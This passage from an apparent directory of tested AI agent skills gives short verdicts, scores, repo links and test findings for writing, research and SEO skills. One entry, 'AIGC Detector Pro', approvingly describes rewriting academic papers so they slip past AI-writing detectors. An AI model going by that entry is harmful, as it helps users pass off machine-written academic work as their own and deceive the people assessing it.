- **Neurodivergent Mode** [pass, 8.8/10] — Forces a structural reframe of an idea or essay instead of a smarter version of the obvious answer. Repo: https://github.com/eskokoivula/neurodivergent-mode. Card: https://skillproof.dev/skills/neurodivergent-mode. What we found: On 'elevate this idea: shorten onboarding to cut churn,' the skill's reframe committed to a falsifiable claim ('length is a proxy for time-to-value, not the driver — shortening it can cut the reward step too') with an MVP build plan and a labeled bold-bet verdict, where a plain baseline answer stayed at generic hedging ('investigate root cause, A/B test, survey users').
- **Research Architect Audit** [pass, 8.8/10] — Gate-by-gate audit of research paper drafts; won't pass on missing evidence Repo: https://github.com/mmTheBest/Research-Architect. Card: https://skillproof.dev/skills/research-architect-audit. What we found: Fed it a flawed draft (causal overclaim from a survey, an unsourced '73%' stat, a near-copied exemplar quote, no methods) in an otherwise empty paper_output; the bundled first_paper_artifact_check.py flagged all 33 missing upstream artifacts and the 13-gate rubric mapped each planted flaw to a named gate. Unlike a plain read that risks a 'looks solid' pass, the mandatory clearance gate refuses completion while evidence is missing, and all three gate scripts run under Python 3.13. Value is real but coupled to the full Research Architect pipeline: a standalone draft gets an audit skeleton plus owner-routing rather than a finished paper.
- **Topic Brief** [pass, 8.4/10] — Turns time-boxed public news into a sourced, self-contained HTML briefing for WeChat. Repo: https://github.com/genli-ai/market-research-skills. Card: https://skillproof.dev/skills/topic-brief. What we found: Ran a real semiconductor-industry briefing end to end -- live search across SEMI/CNBC/Super Micro reporting, then an actual self-contained blue-branded HTML render -- but the shipped renderer silently discards the 'event_date' field on every item, even though SKILL.md lists it as a hard red-line requirement; the time-window discipline the docs promise never actually reaches the output.
- **AntiSlop** [pass, 8.4/10] — Scores a draft for AI-writing tells and rewrites the flagged lines in place. Repo: https://github.com/aplaceforallmystuff/the-antislop. Card: https://skillproof.dev/skills/antislop. What we found: Ran it on a paragraph seeded with 12+ tier-1 phrases (delve, leverage, game-changer, moreover...) plus a staccato-fragment run and a chatbot sign-off: it caught and cited essentially every one in a before/after table with a quantified 49-to-6 score, versus a plain edit that cleaned the prose but left no audit trail or count of what was actually wrong.
- **Job Application Assistant** [setup, 8.4/10] — Structured fit-scoring, scam-check, CV/cover-letter, and interview-prep framework — built for its own CareerForge repo, not portable alone. Repo: https://github.com/suraj-davariya/ai-job-search. Card: https://skillproof.dev/skills/job-application-assistant. What we found: Ran a real before/after fit check on a synthetic posting with scam-ish red flags (personal Gmail contact, no company site, hybrid-Berlin vs. remote-only candidate): the baseline free-text review said 'decent fit, apply if willing to relocate' and never questioned the posting; the skill's structured framework flagged the personal-email/no-website signals as a Caution/Suspicious legitimacy gate before drafting anything and correctly force-overrode the fit verdict to 'Poor Fit' via the location dealbreaker rule the freeform baseline had glossed over — but the same run exposed that the skill's own salary-lookup script and LaTeX CV/cover-letter templates live at the parent repo's root, not inside the skill folder that gets installed.
- **Changelog Generator** [pass, 8.4/10] — Turns raw git commits into categorized, user-facing release notes Repo: https://github.com/ComposioHQ/awesome-claude-skills. Card: https://skillproof.dev/skills/changelog-generator. What we found: Task: generate a changelog for the last 20 commits of the real GPT-Image2-Skill repository (58 commits in history), first without skill, then strictly according to SKILL.md. Baseline run produced a flat list in a single 'Recent changes' section, which included 10 merge commits and 10 raw branch names like 'wuyoscar/mimi/add-starmapper-readme'. Skill run yielded 0 merge commits, 0 branch names, and 4 sections (Features / Improvements / Fixes / Breaking), with the license change from CC BY 4.0 to MIT elevated to a separate Breaking block — in the baseline, it was a regular bullet point. Important caveat: there is no automation in the skill — it's a pure prompt template, no scripts and no git log commands in the body, commits must be retrieved manually. Because of this, the description's claim 'Turns hours of manual changelog writing into minutes of automated generation' is overestimated, hence 3/5 for docs. Stage 0 clean: read the entire body (104 lines), no bundled scripts, no exfiltration/hidden instructions/privilege escalation found.
- **HappyHorse Prompter** [pass, 8.4/10] — Compact 30-55 word prompts for HappyHorse 1.0 native audio-video Repo: https://github.com/cclank/lanshu-awesome-ai-video-kit. Card: https://skillproof.dev/skills/happyhorse-prompter. What we found: On a fresh 'blacksmith hammering hot iron with sound' prompt the no-skill baseline produced a 17-word line with no audio cue and no shot size; following the skill produced a 42-word subject-first prompt with an explicit medium shot, a slow-motion spark descriptor and two 'with X audible' audio paths, which is exactly the model's documented native-audio differentiator. The five rules and worked examples are inline and self-consistent, so the delta is concrete against the model's own spec. Actual footage could not be rendered (no HappyHorse access), so the win is measured on prompt-spec compliance rather than final video, and the SKILL.md's ../../methodology and ../../prompts links break once the skill directory is copied on its own.
- **AIGC Detector Pro** [pass, 8.4/10] — Detect AI-writing tells in academic papers and rewrite them to read human Repo: https://github.com/free-revalution/AIGC-Detector-Pro. Card: https://skillproof.dev/skills/aigc-detector. What we found: Ran the bundled docx_io.py round-trip live: it read a .docx, replaced one flagged paragraph from stdin, and preserved the rest, so the core edit mechanic works. On a real rewrite test the skill beat a plain no-skill rewrite exactly where AI detectors look: the baseline only swapped synonyms (sentence-length stdev 3.6, zero concrete figures), while the skill's seven techniques lifted burstiness to 8.5 and injected concrete data plus a limitations caveat. Its headline 'AIGC risk XX%' figures are uncalibrated model-guesswork and thesis mode was not exercised, but the detect-and-rewrite loop measurably improves the burstiness and concreteness axes that perplexity classifiers key on.
- **Agri Deep Research** [pass, 8.4/10] — Source-validated agricultural literature reviews with a four-gate anti-fabrication citation check Repo: https://github.com/PangenomeAI/academic-skills-food-nutrition. Card: https://skillproof.dev/skills/agri-deep-research. What we found: Ran the skill's non-negotiable citation gate (scripts/verify_citations.py) live against Crossref: it confirmed a genuine DOI, flagged a fabricated DOI as CONFIRMED-MISSING, and caught both a no-identifier reference and a dangling unbound claim, exiting non-zero. That anti-fabrication check demonstrably blocks invented sources a no-skill baseline would ship. The full 12-subagent review itself needs deep web research and many agent spawns, so the review-quality delta beyond the integrity gate was not exercised here.
- **AI Readiness Policy** [pass, 8/10] — Helps pick or write an AgentRC policy to customize AI-readiness scoring rules. Repo: https://github.com/github/awesome-copilot. Card: https://skillproof.dev/skills/acreadiness-policy. What we found: Verbatim install is clean — one self-contained SKILL.md, strict-YAML frontmatter, no missing assets — and the trigger description is specific and non-overlapping with its sibling skills. Two hidden deps to note: the 'apply' sub-command hands report rendering off to the sibling acreadiness-assess skill / ai-readiness-reporter agent (not installed by this card's command), and the underlying `npx github:microsoft/agentrc` calls need an unstated Node.js 20+; neither blocks the core pick/write-a-policy workflow, so verdict is pass rather than setup. A/B: both arms produced a valid, near-identical policy JSON, but the skill armed run nailed the actual enablement convention (agentrc.config.json with a 'policies' array) while the base arm guessed uncertainly at '.agentrc.json' and added a questionable level:5 override — the skill's domain grounding made the load-bearing 'how to enable' half correct.
- **Quiz Generator** [setup, 8/10] — Bloom's-taxonomy-tagged mkdocs quizzes generated from your textbook chapters and learning graph Repo: https://github.com/dmccreary/claude-skills. Card: https://skillproof.dev/skills/quiz-generator. What we found: Ran a live baseline-vs-skill quiz on a photosynthesis chapter: the skill version produced mkdocs-ready admonition questions with Bloom's-tagged, plausibility-checked distractors the plain baseline never attempted — but two workflow steps point to reference files that live in sibling skills (chapter-content-generator, book-installer) not included in a solo install, and the bundled README still markets a 'parallel execution' mode that SKILL.md v0.4 explicitly bans as a hard requirement.
- **Claude Sleuth** [setup, 8/10] — 56-task OSINT/due-diligence pipeline with real grading scripts, but core persistence needs external hosted MCP servers not mentioned in SKILL.md. Repo: https://github.com/elb-pr/sleuth. Card: https://skillproof.dev/skills/sleuth. What we found: Ran the bundled source_grader.py live on two real sources (an anonymous forum tip vs a UK Companies House filing) and got clean, reproducible Admiralty 6x6 grades with action recommendations — but the workflow's own constraints call CSDb/Thinking-Toolkit/Pigeon-Superstition-Superposition MCPs its 'only' collection instruments, and setting those up (2 Smithery-hosted servers plus self-hosting a Cloudflare Worker) is documented only in README.md, never in the SKILL.md the model actually reads at trigger time.
- **EZ Math Model** [pass, 8/10] — Seven-stage pipeline for CUMCM/MCM/ICM math-modeling contests: intake to packaged paper. Repo: https://github.com/woodfishhhh/EZ_math_model. Card: https://skillproof.dev/skills/ez-math-model. What we found: Its own algorithm-selection table flags this dataset (n=10, <15) for GM(1,1) grey prediction over linear regression, but a real held-out test showed plain linear regression beat GM(1,1) (0.42% vs 1.78% MAPE) — the skill's process/packaging scaffolding is the real value-add, not the auto-picked model.
- **Adobe Illustrator Scripting** [setup, 7.6/10] — Writes and debugs Adobe Illustrator ExtendScript automation for layers and artboards. Repo: https://github.com/github/awesome-copilot. Card: https://skillproof.dev/skills/adobe-illustrator-scripting. What we found: Verbatim install (clone + cp) succeeded with only the skills-target path swapped; SKILL.md frontmatter parses as strict YAML and both bundled assets (object-model reference + example .jsx scripts) exist. A/B test asked both arms to write an Illustrator ExtendScript that flags every text frame containing DRAFT with a Review Red spot color: skill and base arms both produced fully correct ES3 code with proper DOM usage (SpotColor/CMYKColor, textRange.characterAttributes.fillColor, try-catch, single alert) and identical runtime behavior, so the skill matched but did not beat a strong baseline. Note the full workflow needs Adobe Illustrator to execute; grading here was on generated-script correctness only, since no Illustrator runtime is available in this environment.
- **CC Workflow AI Editor** [setup, 7.6/10] — Creates and edits visual AI agent workflows conversationally via MCP tools. Repo: https://github.com/breaking-brake/cc-wf-studio. Card: https://skillproof.dev/skills/cc-workflow-ai-editor. What we found: Thin conversational wrapper requiring a live cc-workflow-studio MCP server (@cc-wf-studio/mcp, binary ccwf-mcp) wired via .mcp.json to a real workflow.json project (or the VSCode extension) before any of its steps run — a hard dependency SKILL.md never states, surfaced only in the parent repo README. Install itself is clean and verbatim (single SKILL.md, strict-YAML frontmatter). In the A/B, the skill's documented group-node convention (style:{width,height}) produced a correct sizing field where the base put width/height as invalid top-level fields and also fabricated edge handle names, so the skill's knowledge yielded a measurably more schema-faithful edit.
- **FPV Immersive Video Prompting** [setup, 7.6/10] — Turns a scene photo plus a target character/route count into a structured FPV image-to-video prompt with matching asset pack. Repo: https://github.com/zhouwei713/fpv-immersive-video-prompting. Card: https://skillproof.dev/skills/fpv-immersive-video-prompting. What we found: The assigned SKILL.md (repo root) links four `references/*.md` deep-dive files that don't resolve at that path -- the real files live one directory down at `skill/references/`, and one named file (`cafe-cat-numbered-stops-case.md`) doesn't exist anywhere in the repo at all -- but the core prompt template is fully self-contained in the main body and produced a genuinely more structured, physically-constrained FPV prompt than an unaided attempt.
- **Content Research Writer** [pass, 7.6/10] — Outline, hook options and section-by-section feedback for long-form drafts Repo: https://github.com/Prat011/awesome-llm-skills. Card: https://skillproof.dev/skills/content-research-writer. What we found: Task: 'create an article outline on why remote onboarding fails, and provide a hook' — ran without skill and with skill. Baseline produced a flat outline and a placeholder hook ('In this article, we'll explore…') — 0 out of 8 criteria; skill version yielded 8 out of 8: Hook/Introduction/Main/Conclusion template, inline [Research needed] annotations, Research To-Do checklist, current hook analysis, three marked variants with 'why it works' justification, built-in counter-argument, and a voice verification question. The structural gain is real and reproducible, but half of the description's promise is not confirmed: the skill consists of exactly one SKILL.md file, with no tool bindings (grep for WebSearch/WebFetch/allowed-tools/browser — empty), so 'conducting research, adding citations' relies solely on the model. Worse, the skill's own examples demonstrate citation format with fabricated numbers and authoritative attribution — 'Gartner: 80% of PMs will use AI tools by 2025', '67% of knowledge workers', 'Dr. Jane Smith, MIT' — meaning they teach citation form without any verification, which directly increases the risk of fabrication; in my run, I instead left a hook variant with an explicit PLACEHOLDER. Stage 0 clean: read the entire file, no exfiltration, hidden instructions, or privilege escalation. Trigger 4 out of 5 — description 'assists in writing high-quality content' is too broad and, in my estimation, would falsely apply to short marketing texts like product descriptions.
- **Art History Movements** [setup, 7.2/10] — 12-movement art history reference mapping styles to the forces that produced them. Repo: https://github.com/Tibsfox/gsd-skill-creator. Card: https://skillproof.dev/skills/art-history-movements. What we found: Solid, well-sourced 12-movement timeline (Renaissance to Contemporary) with real causal history, not just artist-name trivia — but it ships inside the `examples/` folder of a skill-creator repo and its 'agent affinity' cross-references (kahlo, ai-weiwei, leonardo, hokusai) point to files that don't exist anywhere in the repo.
- **AI4S Agent** [setup, 7.2/10] — Meta-skill chaining explore, survey, experiment, and paper-writer for AI4S research Repo: https://github.com/ai4s-research/ai4s-skills. Card: https://skillproof.dev/skills/ai4s-agent. What we found: The meta-skill explicitly does no work of its own, it only orders four downstream skills, so a single-skill install leaves it broken; the honest install runs install.sh to bring in research-explorer, literature-survey, experiment-suite and paper-writer too. Its deterministic slug contract reproduced identical slugs across topics as specified, and the downstream literature-survey skill commendably forbids fabricated citations. Scored setup, not pass, because an honest end-to-end run (60-200 real web-fetched citations plus experiment execution and two LaTeX PDFs) is a multi-hour task not verifiable in context, so no baseline delta could be measured.
- **Hive: Writing Hive Skills** [setup, 6.8/10] — Scaffolds a new Hive agent skill with SKILL.md and supporting directories. Repo: https://github.com/aden-hive/hive. Card: https://skillproof.dev/skills/hive-writing-hive-skills. What we found: A meta-skill teaching how to author Agent Skills for the Hive framework: verbatim install works cleanly (single SKILL.md, valid strict-YAML frontmatter, no broken references), but ironically its own name 'hive.writing-hive-skills' violates the a-z0-9- naming rule it teaches, and much of its documented workflow (create_colony, uv run hive skill validate/doctor/list) hard-depends on the Hive CLI/platform the plain copy-into-skills install never brings in. Only the standalone half of its claim — hand-authoring a spec-compliant SKILL.md — works without Hive. In an A/B on exactly that task (author a project-scoped invoice-parser SKILL.md), the skill-armed and no-skill outputs were the same quality: both valid, well-structured, with correct frontmatter, trigger words, error handling and an end-to-end example, so the guidance added no measurable lift over a capable base agent.
- **Create Agent** [setup, 6.8/10] — Creates agent.yaml configs and SOUL.md personality files with a full directory setup. Repo: https://github.com/open-gitagent/opengap. Card: https://skillproof.dev/skills/create-agent. What we found: Despite the generic 'create-agent' name, this is a repurposed fragment of OpenGAP's gitagent-helper example: it teaches OpenGAP's own agent.yaml + SOUL.md format, NOT a Claude Code subagent (.claude/agents/*.md) generator, so its broad description would over-fire on genuine Claude Code subagent requests and hand back an incompatible manifest. Install is clean (single self-contained SKILL.md, strict-YAML frontmatter, no missing files) and its documented schema is accurate. A/B: with the skill the agent.yaml matched OpenGAP's documented schema exactly (spec_version 0.1.0, fallback as a list, plain skill/tool name lists, runtime max_turns/timeout); the base arm, unaided, drifted from that schema (spec_version '1.0', scalar fallback, name/path objects, timeout_seconds) — so the skill measurably improves format-conformance, but only for a format the Claude Code audience isn't actually asking for.
- **GAT Story** [setup, 6.8/10] — One-question-at-a-time narrative interview that drafts a game's story/world/character docs. Repo: https://github.com/Yuki001/game-dev-skills. Card: https://skillproof.dev/skills/gat-story. What we found: Simulated the interview live: skill correctly asked one narrative-need question with a recommended answer and waited, a real behavioral difference from a baseline that just dumped a full story pitch. But Phase 3 ("spawn gat-writer to write the docs") and the cited templates both live outside the skill's own folder (gat/.claude/agents/, gat/.claude/docs/templates/design/) -- a plain cp -r of gat-story alone leaves the skill unable to actually produce gat/narrative/*.md.
- **Consulting Writing** [setup, 6.4/10] — McKinsey SCR / BCG bold-bullet executive-summary craft, plus MECE roll-up checks that need the parent repo. Repo: https://github.com/alfadur7/llm-wiki-newsroom. Card: https://skillproof.dev/skills/consulting-writing. What we found: SKILL.md explicitly says the technique-to-section mapping is defined by `.claude/layers/` content-type guides and that checks.py's parsing/thresholds are 'orchestrator-injected' — both confirmed missing from a standalone copy (`ls ~/.claude/skills/consulting-writing` has only SKILL.md/criteria.json/checks.py, no layers/, no graph/_clusters.json); the executive-summary writing craft itself still works standalone and produced a visibly stronger SCR/bold-bullet paragraph than an unguided baseline.
- **HTML PPT: Product Launch** [setup, 4.4/10] — Builds a keynote-style launch deck with feature cards and pricing tiers. Repo: https://github.com/nexu-io/open-design. Card: https://skillproof.dev/skills/html-ppt-product-launch. What we found: Verbatim install fails twice: the full git clone of nexu-io/open-design hangs (huge multi-branch repo, no --depth), and the documented cp only installs a thin pointer skill while never copying the sibling html-ppt master skill (templates/full-decks/product-launch + shared base.css/fonts.css/animations.css/runtime.js) that the pointer's own instructions require — two manual rescues (sparse clone + dependency copy) were needed before it worked. Once rescued, the A/B showed a real win: the skill arm produced a keyboard-navigable, presentation-grade deck with a designed visual system versus the base arm's competent but generic scroll-page (output 7/10). Frontmatter description/triggers are miswired to one narrow B2B-renewal sales scenario and never mention 'product launch' or 'keynote', so the skill likely won't trigger on its actual named use case.
- **Detect AI** [fails, null/10] — AI-content scorer that requires a paid HumanizerAI subscription to return anything. Repo: https://github.com/humanizerai/agent-skills. Card: https://skillproof.dev/skills/detect-ai. What we found: Live-tested the documented API call with no key set: got a 401 'API key required' from https://humanizerai.com/api/v1/detect, and the site's own pricing page shows no free tier (plans start at $10-35/mo). The repo's own README table lists detect-ai as 'Free' while its Setup section requires subscribing to Pro/Business to generate the key — a direct contradiction confirmed by the live 401.
- **md2wechat** [fails, null/10] — Drive the md2wechat CLI to turn Markdown into WeChat Official Account HTML Repo: https://github.com/geekjourneyx/md2wechat-skill. Card: https://skillproof.dev/skills/md2wechat. What we found: Built the CLI from source and ran it live: discovery, inspect and preview all work offline, but the headline 'convert Markdown to WeChat HTML' hard-fails with 'MD2WECHAT_API_KEY is required for API mode' - the flagship conversion is gated behind a paid API, and the local preview only emits a degraded diagnostic panel, not real WeChat HTML. Also assumes the md2wechat binary is already installed globally via npm.

## SEO & Search (23 tested)
- **SEO Audit** [pass, 9.6/10] — Structured technical/on-page/content SEO audit that explicitly flags a real trap: static fetch tools can't see JS-injected schema markup. Repo: https://github.com/coreyhaines31/marketingskills. Card: https://skillproof.dev/skills/seo-audit. What we found: Best concrete finding: the skill catches a real false-positive trap before you make it -- it explicitly warns that web_fetch/curl strip client-side-injected JSON-LD, so 'no schema found' from a raw fetch is often wrong; a baseline pass without this skill would have reported that false negative with confidence.
- **Programmatic SEO** [pass, 9.6/10] — 12-playbook framework for templated pages at scale (locations, comparisons, integrations, glossary...) with an explicit thin-content guardrail checklist. Repo: https://github.com/coreyhaines31/marketingskills. Card: https://skillproof.dev/skills/programmatic-seo. What we found: A baseline pass on the mini-task ('one page per job title, swap the title in the H1') walks straight into the exact anti-pattern the skill names as mistake #1 in its own Common Mistakes list -- the skill instead forces proprietary-data differentiation and a thin-content pre-launch checklist before any pages ship.
- **Schema Markup** [pass, 9.6/10] — JSON-LD generator/validator for schema.org rich-results markup. Repo: https://github.com/coreyhaines31/marketingskills. Card: https://skillproof.dev/skills/schema-markup. What we found: Asked for schema on a SaaS pricing page: the skill combined Organization + SoftwareApplication + FAQPage under one @graph block using the correct required properties (name+offers for SoftwareApplication) straight from its own reference table. An unguided pass produced a single incomplete SoftwareApplication block that was missing offers entirely.
- **AI SEO** [pass, 9.6/10] — GEO: AI-crawler access checks, extractable content structure, citation tracking. Repo: https://github.com/coreyhaines31/marketingskills. Card: https://skillproof.dev/skills/geo-ai-visibility. What we found: Ran a citability check for a SaaS 'X vs Y' comparison page: it named the exact bots to check for (GPTBot, PerplexityBot, ClaudeBot, Google-Extended) and cited the '~33% of AI citations go to comparison articles' figure to justify a comparison-table structure — specific, checkable guidance instead of generic 'be more visible to AI' advice. (Listed here under our older name; the skill's own name is "AI SEO".)
- **Hitkeep AI Visibility Analyst** [pass, 9.6/10] — Turns HitKeep MCP data into honest verdicts on which AI bots actually send traffic. Repo: https://github.com/PascaleBeier/hitkeep. Card: https://skillproof.dev/skills/hitkeep-ai-visibility-analyst. What we found: Ran a synthetic fetch-vs-visit scenario (GPTBot 340 fetches/2 visits vs ClaudeBot 12 fetches/45 visits) through the skill's interpretation rules — it caught the classic mistake of attributing pricing-page visits to the specific bot that fetched them, which a plain-language answer did not.
- **Super GEO Agent Readiness** [pass, 9.6/10] — GEO/AEO audit router: content, schema, llms.txt, and agent-readiness checklists. Repo: https://github.com/fseixas/super-geo-agent-readiness. Card: https://skillproof.dev/skills/super-geo-agent-readiness. What we found: Fed it a promo-speak paragraph ('unlock the power', 'unleash your team's potential') and the skill's own audit checklist flagged those exact banned phrases plus missing author credentials, JSON-LD, and llms.txt -- the baseline generic-SEO pass never touched any of that.
- **SEO & LLMO** [pass, 9.2/10] — Pre-launch SEO, structured data, and AI-agent-readiness checklist (llms.txt, robots.txt, JSON-LD). Repo: https://github.com/ziniman/ai-instruct. Card: https://skillproof.dev/skills/seo-llmo. What we found: Skill-guided pre-launch package added llms.txt, agent.json, an A2A agent-card.json, and the 2025 Content-Signal robots.txt directive that a baseline (unguided) pass skipped entirely — genuinely current agent-readiness practice, not repackaged classic-SEO boilerplate.
- **GEO Visibility** [pass, 9.2/10] — Passage-level citability rules and a sourced 5-pillar 0-100 score for getting cited by AI engines. Repo: https://github.com/Thibaultbm/claude-seo-geo. Card: https://skillproof.dev/skills/geo-visibility. What we found: Audited a deliberately weak sample passage twice: baseline gave generic on-page SEO tips (keywords, meta description, backlinks); the skill instead cited the exact rule broken ('As mentioned above' is a banned pronoun chain per rule 2), scored it on the 5-pillar rubric (grade F), and rewrote it with a sourced before/after template plus per-engine and entity-consistency notes — a baseline audit simply cannot produce. One real friction: it references scripts/seo_audit.py from a sibling skill (seo-geo-audit) that a single-skill install won't have, though the body explicitly offers manual scoring as a fallback so nothing breaks.
- **Ultimate SEO + GEO** [pass, 8.8/10] — 27-script SEO/GEO audit agent covering technical health, E-E-A-T, schema, and AI-search citation. Repo: https://github.com/mykpono/ultimate-seo-geo. Card: https://skillproof.dev/skills/ultimate-seo-geo. What we found: Pulled Anthropic's live robots.txt and applied the skill's AI-crawler taxonomy (OAI-SearchBot vs GPTBot, Google-Extended vs Googlebot) — a distinction a generic audit pass misses — and confirmed all 27 referenced scripts plus the procedure files actually resolve in the repo.
- **Compress Images** [setup, 8.8/10] — Iterative cwebp loop that lands every image under a 100KB web/SEO target Repo: https://github.com/rameerez/claude-code-startup-skills. Card: https://skillproof.dev/skills/compress-images. What we found: Real A/B on a worst-case 3.1MB noise-heavy synthetic JPG: a naive single-pass `cwebp -q 80` (my baseline) left it at 1.7MB, 17x over the stated 100KB target, while following the skill's iterative quality+resize loop actually got it down to 58KB — but cwebp has to already be installed (brew install webp), a step SKILL.md never mentions.
- **Ecommerce SEO Audit** [pass, 8.8/10] — A 2600-line ecommerce SEO checklist that forces curl-verified H1 claims instead of guessed ones. Repo: https://github.com/affilino/ecommerce-seo-audit-skill. Card: https://skillproof.dev/skills/ecommerce-seo-audit. What we found: Ran a real Product Page Audit on a live Allbirds product page: the skill's mandatory 'curl the HTML, grep <h1>, count before claiming' protocol caught 3 actual <h1> tags on the page (two identical 'Men's Wool Runner' plus a promo H1) that a quick eyeball pass would likely have missed or misreported as 1.
- **SEO Translator** [pass, 8.4/10] — SEO-aware translation: per-market register, never-translate list, anti-AI pass. Repo: https://github.com/Skillproofdev/seo-translator. Card: https://skillproof.dev/skills/seo-translator. What we found: Our own skill — tested under the same protocol, disclosed. No bench/results/verdict.md exists for this skill; the only evidence is a production run, not a controlled base-vs-skill A/B — translating a 2,900-word article into 10 languages averaged 76,263 tokens and 4m53s per language (range 61k-93k tokens), following the skill's classify-register-protect-translate-anti-AI-pass workflow. That demonstrates real-scale, transparently-reported token cost, but not a proven quality or efficiency win over unguided translation prompting. Protocol test caught real issues in our own repos (dead benchmark links, strict-YAML frontmatter) — fixed and re-verified same day.
- **Backlink Analysis** [setup, 8.4/10] — DataForSEO-backed backlink/link-gap analyst that refuses to fabricate metrics when the API isn't wired up. Repo: https://github.com/agencia-conversion/agentic-seo-skills. Card: https://skillproof.dev/skills/backlink-analysis. What we found: With no DataForSEO credentials wired up, a naive assistant would happily invent referring-domain counts for the requested domain — this skill instead forces a hard `status: blocked` with the missing-credential reason, matching its own 'never fabricate backlink counts' rule.
- **AnyCap AI Tool SEO** [pass, 8.4/10] — SEO planning framework for AI tool/SaaS sites: ICP, SERP-fit page types, prioritized briefs. Repo: https://github.com/anycap-ai/anycap. Card: https://skillproof.dev/skills/anycap-ai-tool-seo. What we found: Following the skill's four-lens framework surfaced a real strategic trap a generic SEO answer missed: check whether the live SERP actually rewards a head-to-head 'vs' page before defaulting to building one, rather than assuming the format.
- **SEO Angle Finder** [setup, 8.4/10] — Turns buyer questions + competitor URLs into decision-first content angles competitors miss Repo: https://github.com/peter-tu-zynkr/zynkr-skill-builder. Card: https://skillproof.dev/skills/seo-angle-finder. What we found: The bundled references/seo-angle-rubric.md is genuinely useful on its own — running it on two synthetic competitor summaries produced angles with real decision tension ('control-speed trade-off, not cost') where a generic baseline just said 'cover the same topics but more thoroughly.' But the SKILL.md's own 'Resources you'll use' section points to skills/1-brand-marketing/seo-article-pipeline/seo-pipeline-config.md — a sibling skill folder not included in a scoped cp — plus a placeholder Google Drive knowledge-base folder ID that needs manual setup before the 'first-hand evidence' step is real rather than fabricated.
- **AEO Content Strategy** [setup, 8.4/10] — Turns Reddit/Quora threads into a prioritized AEO content plan with a fixed report template. Repo: https://github.com/jrr996shujin-png/openclaw-seo-aeo-skills. Card: https://skillproof.dev/skills/aeo-content-strategy. What we found: The prioritization framework and report template are genuinely well-built, but Phase 1 (its core mechanism — real Reddit/Quora thread mining) silently degrades: standard web search returned zero verifiable reddit.com links across 6 query variants, so the report has to skip sourced quotes/URLs/upvotes rather than fabricate them.
- **Citation Intelligence** [setup, 8.4/10] — Docs-only companion for an MCP server that tracks which URLs ChatGPT, Perplexity, Gemini and AI Overviews cite. Repo: https://github.com/AutomateLab-tech/citation-intelligence. Card: https://skillproof.dev/skills/citation-intelligence. What we found: The skill file is pure documentation for a separate MCP server -- copying it alone gives zero functionality until you also wire up .claude/mcp.json and pay/register for at least one of five engine API keys; the doc table also undercounts its own server, claiming '12 tools' when the source actually registers 26 (audit_schema, audit_llms_txt, competitors_canonical_set, etc. go unmentioned).
- **SEO Ads** [setup, 8/10] — Domain or keyword paid-search competitive brief with a ready-to-paste bid-keyword CSV. Repo: https://github.com/seranking/seo-skills. Card: https://skillproof.dev/skills/seo-ads. What we found: Ran a real baseline against stripe.com's paid-search landscape with plain web search — got generic listicles about competitor-bidding tactics and zero actual keyword/CPC/ad-copy numbers, which is exactly the gap SE Ranking's domain-level data is built to fill; couldn't verify the skill's real output quality here because SE Ranking's MCP wasn't connected in this environment.
- **AI SEO** [pass, 8/10] — Structure content so ChatGPT, Perplexity, and AI Overviews cite it as a source. Repo: https://github.com/MoizIbnYousaf/marketing-cli. Card: https://skillproof.dev/skills/ai-seo. What we found: The Definition/FAQ-block patterns genuinely produced more citation-shaped output than an unguided baseline on a real 'What is RAG?' draft, but following the skill's own 'Statistic Citation Block' pattern pulled a plausible-sounding but fabricated stat and source into the output — a hallucination risk baked into the format itself, and the same pattern shows up in the skill's own bundled reference doc, which states precise percentages (132% visibility boost, 55% content-answer-fit weighting, 3.2x freshness multiplier) attributed only to three named studies at the top of the file with no per-claim citation.
- **Goog Geo** [setup, 8/10] — Scores any URL 0-100 for Google AI Overviews/AI Mode readiness with an evidence-backed report. Repo: https://github.com/vishalmdi/goog-geo. Card: https://skillproof.dev/skills/goog-geo. What we found: Real-world friction: the documented preflight (`npx playwright-cli --version`, then `npx playwright install chromium --with-deps` as the fix) does not actually install a working `playwright-cli` in a fresh environment — `npx playwright-cli` resolves to the deprecated, bin-less `playwright-cli@0.262.0` npm package (confirmed: 'npm error could not determine executable to run'), not `@playwright/cli` which is what actually ships the `open/snapshot/eval/run-code` subcommands the SKILL.md relies on throughout. package.json only lists `playwright` (the library) as a dependency, never `@playwright/cli`. Worked around it with an equivalent browser-JS extraction and still produced a concrete, correctly-scored 73/100 (Grade C) audit of a real Anthropic blog post that caught real issues a casual glance would miss (8/9 images missing alt, title 40 chars vs the 50-60 target, no JSON-LD, no visible author) — so the rubric and report format are genuinely good, but 'auto-installs if needed' in the description oversells a step that breaks for a new user out of the box.
- **DataForSEO** [setup, 7.6/10] — Python wrapper over the full DataForSEO API surface (SERP, keywords, backlinks, on-page) with CSV export. Repo: https://github.com/nikhilbhansali/dataforseo-skill-claude. Card: https://skillproof.dev/skills/dataforseo. What we found: The client library is real and matches its docs -- 758 lines covering search-volume, backlinks, SERP, on-page, and trends endpoints exactly as the routing table promises -- but nothing returns real data without a paid DataForSEO account, and the bundled quick-start snippet hardcodes sys.path to ~/.agents/skills/dataforseo/scripts rather than the ~/.claude/skills/ path this catalog installs to.
- **Ecommerce Listing** [setup, 6.4/10] — Extracts paginated product listings with price, rating, and image from any store. Repo: https://github.com/browser-act/skills. Card: https://skillproof.dev/skills/ecommerce-listing. What we found: Non-functional standalone: the skill's scripts only print JS snippets meant to be run via eval inside the separate browser-act CLI and require a live connected browser session — an undisclosed prerequisite the card's clone+cp install never sets up. Files install and parse cleanly (valid frontmatter, both scripts present), but real listing extraction can't run without that dependency, so it was tested on the extraction artifact only. A/B on an inline JSON-LD listing was a tie: the skill's documented ItemList algorithm and the base's direct parse produced byte-identical 4-item output, so the skill added no correctness lift over a plain parse here.
- **Amazon Alexa QA** [setup, 6/10] — Submits questions to Amazon's Alexa/Rufus shopping assistant and collects the answers. Repo: https://github.com/browser-act/skills. Card: https://skillproof.dev/skills/amazon-alexa-qa. What we found: Hard dependencies gate this skill: it silently requires the separate browser-act CLI (installed via `uv tool install browser-act-cli`, never mentioned in this skill's own install command or prerequisites) plus a live, logged-in Amazon.com session with the Alexa/Rufus panel available — so it was tested on its DOM-extraction logic only, no live site was touched. The verbatim clone+copy installs cleanly and the three referenced scripts/*.py are valid and harmless, but the name 'Amazon Alexa' collides with the Echo voice assistant, creating a real over-trigger risk. In the A/B, the skill and a no-skill base agent produced identical, correct extraction JSON from the inline mock DOM — the skill's scripts added nothing over a direct trace for the checkable artifact.

## Crypto & Web3 (17 tested)
